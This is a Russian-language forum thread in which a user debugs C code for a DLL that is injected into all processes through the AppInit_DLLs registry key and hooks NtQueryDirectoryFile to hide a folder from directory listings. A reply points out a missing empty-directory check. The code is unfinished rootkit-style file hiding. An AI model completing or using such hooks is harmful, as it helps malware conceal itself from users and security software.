Добрый вечер. Ситуация следующая. Есть длл,загружающаяся через ключ SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs. Длл устанавливает перехват на NtQueryDirectoryFile. Из функции-перехватчика вызывается следующая ф-я: Код (Text): void WINAPI Hide_FileDirectoryInformation (PVOID BufferPointer) { PFILE_DIRECTORY_INFORMATION CurrentPointer = (PFILE_DIRECTORY_INFORMATION)BufferPointer; PFILE_DIRECTORY_INFORMATION PrevPointer = CurrentPointer; while(wcscmp(L"C:\\Hide\\",CurrentPointer->FileName) != 0 && CurrentPointer->NextEntryOffset != NULL) { PrevPointer = CurrentPointer; CurrentPointer = (PFILE_DIRECTORY_INFORMATION)((int)CurrentPointer + (int)CurrentPointer->NextEntryOffset); } /////////Проблема здесь!////////////////////////////////////////////////////////////////// if(CurrentPointer->NextEntryOffset == NULL) { if(wcscmp(L"C:\\Hide\\",CurrentPointer->FileName) == 0) { PrevPointer->NextEntryOffset = NULL; } } else { if(CurrentPointer == (PFILE_DIRECTORY_INFORMATION)BufferPointer) { BufferPointer = (PVOID)((int)(((PFILE_DIRECTORY_INFORMATION)BufferPointer)->NextEntryOffset) + (int)BufferPointer); } else { PrevPointer->NextEntryOffset = (ULONG)((int)PrevPointer->NextEntryOffset + (int)CurrentPointer->NextEntryOffset); } } /////////////////////////////////////////////////////////////////////////////////// } В результате ,если убрать блок выделенный комментариями,длл грузится во все процессы,а если оставить,то нет. С длл вроде все нормально - через LoadLibrary грузится без проблем. У кого есть соображения пишите. Заранее спасибо.
Немного странный код в целом. Нет проверки на случай, если директория пуста. Насколько я помню, в этом случае возвращается специальный статус.
Mika0x65 Я знаю. Это предварительный вариант. С пустой директорией вопрос решен уже. Еще указатель на BufferPointer по ссылке а не по значению передать надо было,и код поменять немного. Просто в VM фиксированное расположение файлов в С:\. Но дллка все равно не грузиться. И почему причиной является IF-ELSE не понятно. Если заменить этот блок кода на какой-нибудь произвольный IF-ELSE, не работающий со списком,все равно грузиться перестает.